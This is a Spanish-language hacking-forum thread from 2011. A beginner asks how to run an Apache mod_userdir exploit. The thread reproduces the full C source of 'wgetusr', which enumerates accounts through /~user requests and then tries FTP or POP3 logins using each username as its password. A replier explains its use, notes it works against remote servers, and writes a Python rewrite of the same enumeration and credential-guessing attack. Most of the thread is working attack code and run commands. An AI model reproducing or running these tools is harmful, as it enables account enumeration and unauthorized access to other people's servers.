Foro de elhacker.net

Seguridad Informática => Bugs y Exploits => Mensaje iniciado por: Nobody12 en 3 Octubre 2011, 00:20 am



Título: mod_userdir Apache
Publicado por: Nobody12 en 3 Octubre 2011, 00:20 am
Hola, antes que nada decir que acabo de empezar en ésto, así que es normal que mis preguntas sean un poco newbies.

He compilado un exploit en C perfectamente, el problema viene al ejecutarlo.
Para ello tengo que poner ésto:

Use: exploit.exe [options] -h <host> -u <usrfile>
            -h     Host
            -u     Users file
            Options
            -f     Try log on via FTP
            -p     Try log on via POP3

Lo que pasa es que no sé ni si usar vía FTP o POP3 ni qué poner en "<usrfile>" porque no tengo ni idea de dónde se guardan los usuarios y contraseñas en Apache.

Para probarlo lo ejecuto en localhost, ya que tengo una servidor local (aunque no tiene el bug):
exploit.exe -f -h localhost -u user_password

Y me da error evidentemente  :) :

 
  • veryfing list: Failed

Me gustaría que me dijerais cómo usar correctamente el exploit y si se puede en localhost.
Un saludo.

Éste es el Exploit en cuestión:

Código
  1. /*-------------------------------------------------------------------
  2.  *
  3.  * Exploit: wgetusr.c Windows Version
  4.  * Author: HighT1mes (John Bissell)
  5.  * Date Released: July 21, 2004
  6.  *
  7.  * --- Code ported to Windows with some added code,
  8.  *     based on getusr.c exploit by CoKi ---
  9.  *
  10.  * Description from CoKi:
  11.  * ======================
  12.  *
  13.  * This tool tries to find users in a Apache 1.3.*
  14.  * server through wrong default configuration of
  15.  * module mod_userdir.
  16.  *
  17.  * My Believe:
  18.  * ===========
  19.  *
  20.  * I believe in the current state of the web right
  21.  * now this information leak bug can be pretty nasty.
  22.  * Once you have a couple login names on a system
  23.  * there are many services the attacker can target
  24.  * to attack and work his way into the target system
  25.  * to get local access.
  26.  *
  27.  * Program Usage:
  28.  * ==============
  29.  *
  30.  * Use: wgetusr [options] -h <host> -u <usrfile>
  31.  *          -h     Host
  32.  *          -u     Users file
  33.  *         Options
  34.  *          -f     Try log on via FTP
  35.  *          -p     Try log on via POP3
  36.  *
  37.  * VC++ 6.0 Compilation Information:
  38.  * =================================
  39.  *
  40.  * First go on the net and get the getopt libs and header
  41.  * file for VC++ 6.0 Here's a link...
  42.  *
  43.  * http://prantl.host.sk/getopt/files/getopt-msvs6.zip
  44.  *
  45.  * Now extract the libs into your standerd VC++ Lib directory,
  46.  * and extract the getopt.h header file of course into the
  47.  * Include directory.
  48.  *
  49.  * Now to compile make a new console app project,
  50.  * then put this source file in the project.
  51.  * Next goto Project->Settings. Then click on
  52.  * the link tab then goto the input catagory.
  53.  * Now add getopt.lib to the end of objects/librarys
  54.  * modules text box. Then in the Ignore Librarys
  55.  * text box type LIBCD.lib to ignore that lib and allow
  56.  * compilation to complete because of getopt lib.
  57.  *
  58.  * Also you where you added getopt.lib to the
  59.  * objects/librarys modules text box put ws2_32.lib
  60.  * in that text box as well.
  61.  *
  62.  * Your all set compile, hack, distrobute, have fun! :)
  63.  *
  64. *-------------------------------------------------------------------*/
  65.  
  66. #include <getopt.h>
  67. #include <stdio.h>
  68. #include <stdlib.h>
  69. #include <errno.h>
  70. #include <string.h>
  71. #include <windows.h>
  72. #include <winsock2.h>
  73.  
  74. #define DATAMAX 50
  75. #define BUFFER 1000
  76. #define TCPIP_ERROR -1
  77. #define TIMEOUT 3
  78. #define HTTP_PORT 80
  79. #define FTP_PORT 21
  80. #define POP3_PORT 110
  81.  
  82. void use(char *program);
  83. int connect_timeout(int sfd, struct sockaddr *serv_addr, int timeout);
  84. void vrfy_apache(char *host);
  85. void vrfy_vuln(char *host);
  86. int test_user(char *host, char *user);
  87. int trylogonFTP(char *host, char *user, char *pass);
  88. int mkconn(char *host, unsigned short port);
  89. int trylogonPOP3(char *host, char *user, char *pass);
  90.  
  91. struct hostent *he;
  92. char **fuser;
  93. int sockfd;
  94. struct sockaddr_in dest_dir;
  95.  
  96. int main(int argc, char *argv[]) {
  97.  
  98.  FILE *userlist;
  99.  char c, *host=NULL, *ulist=NULL;
  100.  char user[DATAMAX];
  101.  int ucant=0, flogged=0, plogged=0, optftp=0, optpop=0, stop=0;
  102.  unsigned int cant=0, i, user_num;
  103.  WSADATA wsaData;
  104.  int result=0;
  105.  
  106.  printf(" =================================\n");
  107.  printf("   wgetusr exploit by HighT1mes\n");
  108.  printf("  Based on getusr.c code by CoKi\n");
  109.  printf(" =================================\n\n");
  110.  Sleep(1000);
  111.  
  112.  if(argc < 2) use(argv[0]);
  113.  
  114.  result = WSAStartup( MAKEWORD( 2,2 ), &wsaData );
  115.        if ( result != NO_ERROR ) {
  116.                printf( "Error at WSAStartup()\n" );
  117.                return( EXIT_FAILURE );
  118.        }
  119.  
  120.  while((c = getopt(argc, argv, "h:u:fp")) != EOF) {
  121.    switch(c) {
  122.      case 'h':
  123.               host = optarg;
  124.               break;
  125.      case 'u':
  126.               ulist = optarg;
  127.               break;
  128.      case 'f':
  129.               optftp = 1;
  130.               break;
  131.      case 'p':
  132.               optpop = 1;
  133.               break;
  134.      default :
  135.               use(argv[0]);
  136.               break;
  137.    }
  138.  }
  139.  
  140.  if(host == NULL) use(argv[0]);
  141.  if(ulist == NULL) use(argv[0]);
  142.  
  143.  printf(" [+] verifying list:\t");
  144.  
  145.  if((userlist = fopen(ulist, "r")) == NULL) {
  146.    printf("Failed\n\n");
  147.    exit(1);
  148.  }
  149.  
  150.  while(!feof(userlist)) if('\n' == fgetc(userlist)) ucant++;
  151.  rewind(userlist);
  152.  
  153.  printf("OK (%d users)\n", ucant);
  154.  Sleep(1000);
  155.  fuser = (char **)malloc(sizeof(ucant));
  156.  
  157.  printf(" [+] verifying host:\t");
  158.  
  159.  if((he=gethostbyname(host)) == NULL) {
  160.    perror("Error: ");
  161.        Sleep(1000);
  162.    printf("\n");
  163.    exit(1);
  164.  }
  165.  
  166.  printf("OK\n");
  167.  Sleep(1000);
  168.  
  169.  printf(" [+] connecting:\t");
  170.  
  171.  if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) {
  172.    printf("Closed\n\n");
  173.        Sleep(1000);
  174.    exit(1);
  175.  }
  176.  
  177.  printf("OK\n");
  178.  Sleep(1000);
  179.  closesocket(sockfd);
  180.  
  181.  vrfy_apache(host);
  182.  Sleep(1000);
  183.  
  184.  vrfy_vuln(host);
  185.  Sleep(1000);
  186.  
  187.  user_num = 1;
  188.  while(!feof(userlist)) {
  189.    if(fgets(user, sizeof(user), userlist) == NULL) break;
  190.    user[strlen(user)-1] = '\0';
  191.  
  192.    if(test_user(host, user) == 0) {
  193.      fuser[cant] = (char *)malloc(sizeof(user));
  194.      memcpy(fuser[cant],user,strlen(user));
  195.      memset(fuser[cant]+strlen(user),0,1);
  196.      cant++;
  197.    }
  198.  
  199.        system("CLS");
  200.        printf(" wgetusr exploit by HighT1mes\n\n");
  201.        printf(" [+] searching for system accounts, please wait...\n");
  202.        printf(" [+] processing user #%d\n", user_num);
  203.        user_num++;
  204.  }
  205.  
  206.  if(cant == 0) {
  207.    printf("     no users found\n\n");
  208.    exit(1);
  209.  }
  210.  else {
  211.        /* print out valid usernames found */
  212.        printf(" [+] scan results for %s:\n\n", host);
  213.        for (i = 0; i < cant; i++) {
  214.                printf("     found username: %s\n", fuser[i]);
  215.        }
  216.  }
  217.  
  218.  printf("\n");
  219.  
  220.  if(optftp == 1) {
  221.    stop = 0;
  222.    printf(" [+] trying log on via FTP...\n");
  223.    printf(" [+] connecting:\t");
  224.  
  225.  
  226.    if(mkconn(host, FTP_PORT) == TCPIP_ERROR) {
  227.      printf("Closed\n");
  228.      stop = 1;
  229.    }
  230.  
  231.    if(!stop) {
  232.      printf("OK\n");
  233.      closesocket(sockfd);
  234.      for(i=0; i < cant; i++) {
  235.        if(trylogonFTP(host, fuser[i], fuser[i]) == 0) {
  236.          printf("     logged in: %s\n", fuser[i]);
  237.          flogged++;
  238.        }
  239.      }
  240.      if(flogged == 0) printf("     no users logged in\n");
  241.    }
  242.  }
  243.  
  244.  if(optpop == 1) {
  245.    stop = 0;
  246.    printf(" [+] trying log on via POP3...\n");
  247.    printf(" [+] connecting:\t");
  248.    (stdout);
  249.  
  250.    if(mkconn(host, POP3_PORT) == TCPIP_ERROR) {
  251.      printf("Closed\n");
  252.      stop = 1;
  253.    }
  254.  
  255.    if(!stop) {
  256.      printf("OK\n");
  257.      closesocket(sockfd);
  258.      for(i=0; i < cant; i++) {
  259.        if(trylogonPOP3(host, fuser[i], fuser[i]) == 0) {
  260.          printf("     logged in: %s\n", fuser[i]);
  261.          plogged++;
  262.        }
  263.      }
  264.      if(plogged == 0)  printf("     no users logged in\n");
  265.    }
  266.  }
  267.  
  268.  printf("\n");
  269.  fclose(userlist);
  270.  WSACleanup();
  271.  return 0;
  272. }
  273.  
  274. void use(char *program) {
  275.  printf("Use: %s [options] -h <host> -u <usrfile>\n", program);
  276.  printf("         -h\tHost\n");
  277.  printf("         -u\tUsers file\n");
  278.  printf("        Options\n");
  279.  printf("         -f\tTry log on via FTP\n");
  280.  printf("         -p\tTry log on via POP3\n");
  281.  exit(1);
  282. }
  283.  
  284. int connect_timeout(int sfd, struct sockaddr *serv_addr, int timeout)
  285. {
  286.  int res, slen, flags;
  287.  struct timeval tv;
  288.  struct sockaddr_in addr;
  289.  fd_set rdf, wrf;
  290.  int iMode = 0;
  291.  
  292.  ioctlsocket(sfd, FIONBIO, &iMode);
  293.  
  294.  res = connect(sfd, serv_addr, sizeof(struct sockaddr));
  295.  
  296.  if (res >= 0) return res;
  297.  
  298.  FD_ZERO(&rdf);
  299.  FD_ZERO(&wrf);
  300.  
  301.  FD_SET(sfd, &rdf);
  302.  FD_SET(sfd, &wrf);
  303.  memset(&tv, 0, sizeof(tv));
  304.  tv.tv_sec = timeout;
  305.  
  306.  if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
  307.    return -1;
  308.  
  309.  if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
  310.    slen = sizeof(addr);
  311.    if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
  312.    return -1;
  313.  
  314.    flags = ioctlsocket(sfd, FIONBIO, NULL);
  315.        iMode = flags & ~iMode;
  316.    ioctlsocket(sfd, FIONBIO, &iMode);
  317.  
  318.    return 0;
  319.  }
  320.  
  321.  return -1;
  322. }
  323.  
  324. void vrfy_apache(char *host) {
  325.  char buf[BUFFER], sendstr[DATAMAX];
  326.  
  327.  printf(" [+] verifying Apache:\t");
  328.  
  329.  if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) printf("Closed\n");
  330.  
  331.  sprintf(sendstr, "HEAD / HTTP/1.0\n\n");
  332.  send(sockfd, sendstr, sizeof(sendstr), 0);
  333.  memset(buf, 0, sizeof(buf));
  334.  recv(sockfd, buf, sizeof(buf), 0);
  335.  
  336.  if(strstr(buf, "Server: Apache")) printf("OK\n");
  337.  else {
  338.    printf("NO\n\n");
  339.    exit(1);
  340.  }
  341.  
  342.  closesocket(sockfd);
  343. }
  344.  
  345. void vrfy_vuln(char *host) {
  346.  char buf[BUFFER], sendstr[DATAMAX];
  347.  
  348.  printf(" [+] vulnerable:\t");
  349.  
  350.  if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) printf("Closed\n");
  351.  
  352.  memset(sendstr, 0, sizeof(sendstr));
  353.  sprintf(sendstr, "GET /~root\n");
  354.  send(sockfd, sendstr, sizeof(sendstr), 0);
  355.  
  356.  recv(sockfd, buf, sizeof(buf), 0);
  357.  
  358.  if(strstr(buf, "403")) printf("OK\n");
  359.  else {
  360.    printf("NO\n\n");
  361.    exit(1);
  362.  }
  363.  
  364.  closesocket(sockfd);
  365. }
  366.  
  367. int test_user(char *host, char *user) {
  368.  char buf[BUFFER], sendstr[DATAMAX];
  369.  
  370.  if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) printf("     Closed\n");
  371.  
  372.  memset(sendstr, 0, sizeof(sendstr));
  373.  sprintf(sendstr, "GET /~%s\n", user);
  374.  send(sockfd, sendstr, sizeof(sendstr), 0);
  375.  
  376.  recv(sockfd, buf, sizeof(buf), 0);
  377.  
  378.  if(strstr(buf, "403")) return 0;
  379.  else return 1;
  380.  
  381.  closesocket(sockfd);
  382. }
  383.  
  384. int trylogonFTP(char *host, char *user, char *pass) {
  385.  char buf[BUFFER], *senduser, *sendpass;
  386.  
  387.  senduser = malloc(sizeof(user+6));
  388.  sendpass = malloc(sizeof(pass+6));
  389.  
  390.  sprintf(senduser,"USER %s\n",user);
  391.  sprintf(sendpass,"PASS %s\n",pass);
  392.  
  393.  if(mkconn(host, FTP_PORT) == TCPIP_ERROR) printf("     Closed\n");
  394.  
  395.  memset(buf,0,sizeof(buf));
  396.  recv(sockfd,buf,sizeof(buf),0);
  397.  send(sockfd,senduser,strlen(senduser), 0);
  398.  memset(buf,0,sizeof(buf));
  399.  recv(sockfd,buf,sizeof(buf),0);
  400.  send(sockfd,sendpass,strlen(sendpass), 0);
  401.  memset(buf,0,sizeof(buf));
  402.  recv(sockfd,buf,sizeof(buf),0);
  403.  
  404.  if(strstr(buf, "230")) return 0;
  405.  else return 1;
  406.  
  407.  closesocket(sockfd);
  408. }
  409.  
  410. int mkconn(char *host, unsigned short port) {
  411.  
  412.  if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == TCPIP_ERROR) {
  413.    perror("Error");
  414.    printf("\n");
  415.    exit(1);
  416.  }
  417.  
  418.  dest_dir.sin_family = AF_INET;
  419.  dest_dir.sin_port = htons(port);
  420.  dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
  421.  memset(&(dest_dir.sin_zero), 0, 8);
  422.  
  423.  if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir, TIMEOUT) == TCPIP_ERROR) {
  424.    return TCPIP_ERROR;
  425.  }
  426.  
  427.  return 0;
  428. }
  429.  
  430. int trylogonPOP3(char *host, char *user, char *pass) {
  431.  char buf[BUFFER], *senduser, *sendpass;
  432.  
  433.  senduser = malloc(sizeof(user+6));
  434.  sendpass = malloc(sizeof(pass+6));
  435.  
  436.  sprintf(senduser,"USER %s\n",user);
  437.  sprintf(sendpass,"PASS %s\n",pass);
  438.  
  439.  if(mkconn(host, POP3_PORT) == TCPIP_ERROR) printf("     Closed\n");
  440.  
  441.  memset(buf,0,sizeof(buf));
  442.  recv(sockfd,buf,sizeof(buf),0);
  443.  send(sockfd,senduser,strlen(senduser), 0);
  444.  memset(buf,0,sizeof(buf));
  445.  recv(sockfd,buf,sizeof(buf),0);
  446.  send(sockfd,sendpass,strlen(sendpass), 0);
  447.  memset(buf,0,sizeof(buf));
  448.  recv(sockfd,buf,sizeof(buf),0);
  449.  
  450.  if(strstr(buf, "+OK")) return 0;
  451.  else return 1;
  452.  
  453.  closesocket(sockfd);
  454. }
  455.  
  456. /* EOF */
  457.  




Título: Re: mod_userdir Apache
Publicado por: Ivanchuk en 4 Octubre 2011, 08:35 am
Hola SySc0d3r,

No es un exploit, es un bruteforce. Lo podes testear en localhost siempre y cuando tengas alguno de los servers que ataca:
- Apache con mod_userdir
- FTP
- POP3
Con la opcion -u le pasas un archivo con la lista de usuarios para el bruteforce, uno por linea.

Código
  1. exploit.exe -f -h localhost -u archivo_con_usuarios.txt

Saludos


Título: Re: mod_userdir Apache
Publicado por: Nobody12 en 6 Octubre 2011, 12:39 pm
EDITO: Hola, gracias por contestar.

Tengo un server FTP con Apache incluído, pero no tiene esta vulnerabilidad.

Al final encontré el archivo mod_userdir en la carpeta de Apache, y tiene extensión ".so".
¿Tengo que poner simplemente ésto para atacar mi server?

exploit.exe -f -h localhost -u mod_userdir.so

Acabo de probarlo y no me funciona, me dice todo el rato:

  • verifying list:  Failed

¿Es porque mi Apache no es vulnerable?

¿Debería atacar por FTP o POP3?

Última pregunta  ;) : ¿Se puede conocer si el server ha sido atacado con este bruteforce?

Un saludo.




Título: Re: mod_userdir Apache
Publicado por: Ivanchuk en 7 Octubre 2011, 08:36 am
Al final encontré el archivo mod_userdir en la carpeta de Apache, y tiene extensión ".so".
¿Tengo que poner simplemente ésto para atacar mi server?

exploit.exe -f -h localhost -u mod_userdir.so

No, en -u tenes que poner un archivo de texto que contenga los nombres de usuario. Por ej suponete que en el archivo users.txt tenes esto

Código:
admin
goku
neo
luke
kirk
elbrujo

Guarda el archivo users.txt en el mismo lugar donde ejecutas exploit y proba con esto:
Código
  1. exploit.exe -f -h localhost -u users.txt


Título: Re: mod_userdir Apache
Publicado por: Nobody12 en 7 Octubre 2011, 17:13 pm
Pero si exploit.exe ha de estar en la misma carpeta que el archivo de usuarios, ¿no puedo utilizar el bruteforce desde otro ordenador?

Probé como me dijiste y me detecta el archivo, pero se me queda aquí:

  • verifying list: OK
  • verifying host: OK
  • connecting: Closed
Código
  1. #define HTTP_PORT 80
  2. #define TCPIP_ERROR -1
  3.  
  4. int mkconn(char *host, unsigned short port);
  5.  
  6. printf(" [+] connecting:\t");
  7.  
  8.  if(mkconn(host, HTTP_PORT) == TCPIP_ERROR) {
  9.    printf("Closed\n\n");
  10.        Sleep(1000);
  11.    exit(1);
  12.  }


Me imagino que es un problema con el puerto 80. Lo he escaneado y en efecto lo tengo cerrado y por eso el Apache no me conecta.
No lo entiendo, porque ayer me funcionaba perfectamente.
Lo tengo abierto en el router y el Firewall está totalmente desactivado.

He hecho un "netstat -a -no" y el puerto 80 sólo me aparece en una Dirección remota así: 192.168.1.1:80.
En Estado me pone TIME_WAIT, y en el PID 0.

No entiendo nada  :-\


Título: Re: mod_userdir Apache
Publicado por: Ivanchuk en 7 Octubre 2011, 20:28 pm
Detalle, la opcion -f hace que exploit.exe intente hacer un bruteforce sobre el puerto 21(ftp). Sacale el -f si queres que ataque el puerto 80.
Con respecto a la direccion, localhost equivale a 127.0.0.1 y no a 192.168.1.1. Pone esa direccion sino, porque puede ser que el servidor http no este bindeado a localhost.


Título: Re: mod_userdir Apache
Publicado por: Nobody12 en 7 Octubre 2011, 20:38 pm
Vale, ya entiendo.

Estoy probando ahora sin poner ni -f ni -p y he podido conectarme  :)

Aunque parece que el Apache me sigue sin funcionar, puesto que se me ha parado en:

  • verifying Apache:

Intentaré resolver ésto primero de todo.

Sólo una cosa, ¿puedo usar el exploit desde este ordenador, por ejemplo, e intentar atacar un server alojado en otro ordenador que contiene el archivo con los usuarios? ¿O este archivo tiene que estar obligatoriamente en el misma carpeta que exploit.exe?


Título: Re: mod_userdir Apache
Publicado por: Ivanchuk en 7 Octubre 2011, 20:54 pm
Sólo una cosa, ¿puedo usar el exploit desde este ordenador, por ejemplo, e intentar atacar un server alojado en otro ordenador que contiene el archivo con los usuarios? ¿O este archivo tiene que estar obligatoriamente en el misma carpeta que exploit.exe?
El archivo tiene que estar obligatoriamente en la misma carpeta que el exploit.exe
Pero podes lanzar el ataque contra un server remoto sin problemas, usando el archivo en local, es la idea principal del bruteforce.

Saludos!


Título: Re: mod_userdir Apache
Publicado por: Nobody12 en 7 Octubre 2011, 22:57 pm
Bien, por fin conseguí hacer que se me iniciara el Apache.
Simplemente tuve que terminar los procesos que utilizaban el puerto 80.

Utilizo este comando:
exploit.exe -f -h localhost -u users.txt

En vez de localhost, también puedo usar mi IP local.

Me muestra los usuarios del archivo perfectamente.
El problema viene después.  :(

Me sale que se ha conectado bien por FTP, pero justo después me dice que exploit.exe deja de funcionar.

  • verifying list: OK (3 users)
  • verifying host: OK
  • connecting: OK
  • verifying Apache: OK
  • vulnerable: OK
  • searching for system accounts, please wait...
  • processing user #4
  • scan result for localhost:
     
      found username: Admin
      found username: SySc0d3r
      found username: User

  • trying log on via FTP...
  • connecting: OK

Y ahí me sale que dejó de funcionar  :-\
No sé cuál puede ser el problema, parece que el FTP no es.
De todas formas también probaré con el POP3 (aunque no tengo ni idea de cómo se usa).

Código
  1. if(optftp == 1) {
  2.    stop = 0;
  3.    printf(" [+] trying log on via FTP...\n");
  4.    printf(" [+] connecting:\t");
  5.  
  6.  
  7.    if(mkconn(host, FTP_PORT) == TCPIP_ERROR) {
  8.      printf("Closed\n");
  9.      stop = 1;
  10.    }
  11.  
  12.    if(!stop) {
  13.      printf("OK\n");
  14.      closesocket(sockfd);
  15.      for(i=0; i < cant; i++) {
  16.        if(trylogonFTP(host, fuser[i], fuser[i]) == 0) {
  17.          printf("     logged in: %s\n", fuser[i]);
  18.          flogged++;
  19.        }
  20.      }
  21.      if(flogged == 0) printf("     no users logged in\n");
  22.    }
  23.  }

Un saludo Ivan


Título: Re: mod_userdir Apache
Publicado por: Ivanchuk en 12 Octubre 2011, 21:30 pm
El problema esta adentro de la funcion trylogonFTP()

Lo que tiene que hacer es simple, escribirlo en C es romperse la cabeza... ni conviene ponerse a ver donde se cuelga (que debe ser en algun recv)

Aca te hice uno que hace lo mismo pero en python. Menos lineas y muuucho mas facil de entender/corregir/mantener/mejorar/etc...

Código
  1. #!/usr/bin/python
  2. import sys
  3. import httplib
  4. from ftplib import FTP
  5.  
  6. def usage():
  7. print "Usage:"
  8. print sys.argv[0] + " localhost users.txt"
  9. return
  10.  
  11. if len(sys.argv) < 3:
  12. print "#ERROR# Not enough arguments"
  13. usage()
  14. exit()
  15.  
  16. host = sys.argv[1]
  17. fusers = sys.argv[2]
  18.  
  19. # Abrir archivo con usuarios
  20. users = open(fusers, 'r')
  21.  
  22. print "Search for http users"
  23.  
  24. # Intentar conexiones por http y guardar los usuarios validos
  25. valid_users = []
  26. for user in users:
  27. user = user.strip()
  28. if not user:
  29. continue
  30.  
  31. # Conectarse al servidor http
  32. conn = httplib.HTTPConnection(host)
  33. # Probar con el usuario user
  34. print "Trying user " + user + " ...",
  35. conn.request("GET", "/~{0}".format(user))
  36.  
  37. res = conn.getresponse()
  38. if res.status == 404: # respuesta 404
  39. print "not found"
  40. else:
  41. print "OK!"
  42. # Salvar usuario
  43. valid_users.append(user)
  44.  
  45. # Salir si no se encontro ningun usuario
  46. if len(valid_users) == 0:
  47. print "No user has been found. Aborting!"
  48. exit()
  49.  
  50. # Probar por ftp ahora
  51. print "Try login to ftp server"
  52. for vuser in valid_users:
  53. print "Trying user " + vuser + "...",; sys.stdout.flush()
  54. try:
  55. ftp = FTP(host, user = vuser, passwd = vuser)
  56. ftp.quit()
  57. print "OK!"
  58. except:
  59. print "refused"
  60.  

Copialo y pegalo. Le pasas el host y el nombre del archivo como parametros. Espero te sirva

Saludos!


Título: Re: mod_userdir Apache
Publicado por: Nobody12 en 12 Octubre 2011, 22:12 pm
¡Muchísimas gracias por haberte molestado en hacer el código!  :D

Ahora en seguida lo pruebo.
¿Pero dónde debo pegarlo exactamente?  :-[

Gracias de nuevo.


Título: Re: mod_userdir Apache
Publicado por: Ivanchuk en 12 Octubre 2011, 22:38 pm
Lo pegas en un archivo y le das permisos de ejecucion al archivo, estas en linux no?
Tenes que tener python instalado.


Título: Re: mod_userdir Apache
Publicado por: Nobody12 en 12 Octubre 2011, 22:53 pm
Estaba en linux, pero como el bruteforce es para Windows pues me cambié.
Ahora vuelvo.
De todas formas dime qué hago, ¿ejecuto el archivo y ya está? ¿Qué hago con el bruteforce?


Título: Re: mod_userdir Apache
Publicado por: Ivanchuk en 12 Octubre 2011, 22:59 pm
Bueno, podes bajarte python para windows sino.
Guardas el codigo en un archivo, suponete bf.py, y lo ejecutas asi

Código
  1. python bf.py localhost users.txt


Título: Re: mod_userdir Apache
Publicado por: Nobody12 en 12 Octubre 2011, 23:05 pm
Bueno en Linux me da problemas:

/usr/bin/python: can't find '__main__' module in 'LogOn.py'

No he podido solucionarlo, así que vuelvo a Windows :)


Título: Re: mod_userdir Apache
Publicado por: Nobody12 en 12 Octubre 2011, 23:45 pm
No hay manera de conectarse por FTP. Me dice continuamente "refused".
Sin embargo por http va perfectamente.

En el server me dice ésto:

(000015)12/10/2011 23:39:06 - (not logged in) (::1)> Connected, sending welcome message...
(000015)12/10/2011 23:39:06 - (not logged in) (::1)> 220 Bienvenido al Servidor FTP de SySc0d3r
(000015)12/10/2011 23:39:06 - (not logged in) (::1)> GET /~SySc0d3r HTTP/1.1
(000015)12/10/2011 23:39:06 - (not logged in) (::1)> 500 Syntax error, command unrecognized.
(000015)12/10/2011 23:39:06 - (not logged in) (::1)> Host: localhost
(000015)12/10/2011 23:39:06 - (not logged in) (::1)> 500 Syntax error, command unrecognized.
(000015)12/10/2011 23:39:06 - (not logged in) (::1)> Accept-Encoding: identity
(000015)12/10/2011 23:39:06 - (not logged in) (::1)> 500 Syntax error, command unrecognized.

Probaré a reinstalar y volver a configurarlo todo porque me da que ni el Apache ni el Filezilla funcionan correctamente...

Gracias por tu tiempo Iván.


Título: Re: mod_userdir Apache
Publicado por: Ivanchuk en 13 Octubre 2011, 09:23 am
Los GET al ftp? no tendras el ftp escuchando en el puerto 80?

Los GET deberian llegar al http y si encuentra usuarios por http despues intenta por ftp.

Saludos


Título: Re: mod_userdir Apache
Publicado por: Nobody12 en 13 Octubre 2011, 13:52 pm
No, a ver, lo que he puesto es lo que me sale en el Filezilla Server cuando intenta loguearse con los distintos usuarios del archivo users.txt.
Por http va bien, pero no por FTP, que es cuando me aparece lo de "refused".


Título: Re: mod_userdir Apache
Publicado por: Ivanchuk en 13 Octubre 2011, 22:40 pm
Mmm, para estar bien seguros, cambia estas lineas del codigo que te pase

Código
  1. if res.status == 404: # respuesta 404
  2. print "not found"
  3. else:
  4. print "OK!"
  5. # Salvar usuario
  6. valid_users.append(user)

por estas

Código
  1. if res.status in range(200,300): # 2XX OK
  2. print "OK!"
  3. # Salvar usuario
  4. valid_users.append(user)
  5. else:
  6. print "not found"

Cambialas y probalo de vuelta a ver que te dice.


Título: Re: mod_userdir Apache
Publicado por: Nobody12 en 13 Octubre 2011, 23:31 pm
Ok Iván, ahora mismo estoy teniendo algunos problemas con la conexión a Internet.  :-\
Ya lo pruebo mañana y te cuento.